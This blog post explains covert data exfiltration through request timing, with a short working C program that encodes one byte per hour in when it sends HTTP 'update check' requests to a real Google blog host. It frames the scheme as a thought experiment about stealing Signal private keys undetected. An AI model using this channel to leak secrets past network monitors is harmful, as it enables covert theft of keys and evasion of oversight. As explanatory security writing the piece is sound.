exfiltration via request timing
There are any number of ways to exfiltrate data via covert channels. For example, a popular technique is to make DNS lookups for a series of hostnames like “attack.example.com”, “atdawn.example.com”, etc. which will be passed through most firewalls. For a long time DNS requests weren’t monitored, but savvy network operators have grown wise. So if we wanted to beam some data off a device surreptitiously, what else can we do?
There are some even lower level techniques, like varying IP packet size or options, but this too may trigger alarms. Instead, let’s move up the stack and try to make our tunnel look as normal as possible. Consider the scenario where we’re Apple or Google and we want to extract Signal private keys off a device. It’s a small amount of data, and we already have an established channel: update checks. The trick is to piggyback our channel onto update requests. (This is not an entirely original idea, I just wanted to explore it.)
Even the strictest network monitor is familiar with the fact that mobile phones are constantly checking for updates. That’s a good thing, right? So how to embed extra data in such requests? How about varying the timing of such requests? This has the convenient side effect of load balancing the checks as well, giving us an entirely plausible explanation.
Assuming we check every hour, here’s a scheme that exfiltrates 8 bits per hour. Each hour is 3600 seconds. We divide that by 360 into 10 second intervals. We’ll use 256 of them as a means of transmitting data. (The remainder could be used for additional signalling, checksums, etc.) Time for code.
int
main(int argc, char **argv)
{
const char *host = "chromereleases.googleblog.com", *port = "www";
unsigned char *data;
char buf[1024];
int ticks;
int s;
for (data = argv[1]; *data; data++) {
ticks = time(NULL);
sleep(3600 - ticks % 3600);
sleep(*data * 10);
s = gimmeasocketplease(host, port);
dprintf(s, "GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n",
host);
read(s, buf, sizeof(buf));
close(s);
}
}
For each byte of data, we start by sleeping until the next hour interval. Then we sleep one byte worth, times ten seconds. Then we check for an update. And again and again.
Using http here for maximum transparency. A suspicious operator might wonder what exactly is being transmitted in encrypted https connections, but we’ve got nothing to hide there. See? Everything is exactly at seems. (And if the response is signed, just as if not more secure.)
Extracting the data on the server is just a matter of reviewing logs and checking timestamps. NAT may prove some obstacle, but hey, the future is IPv6.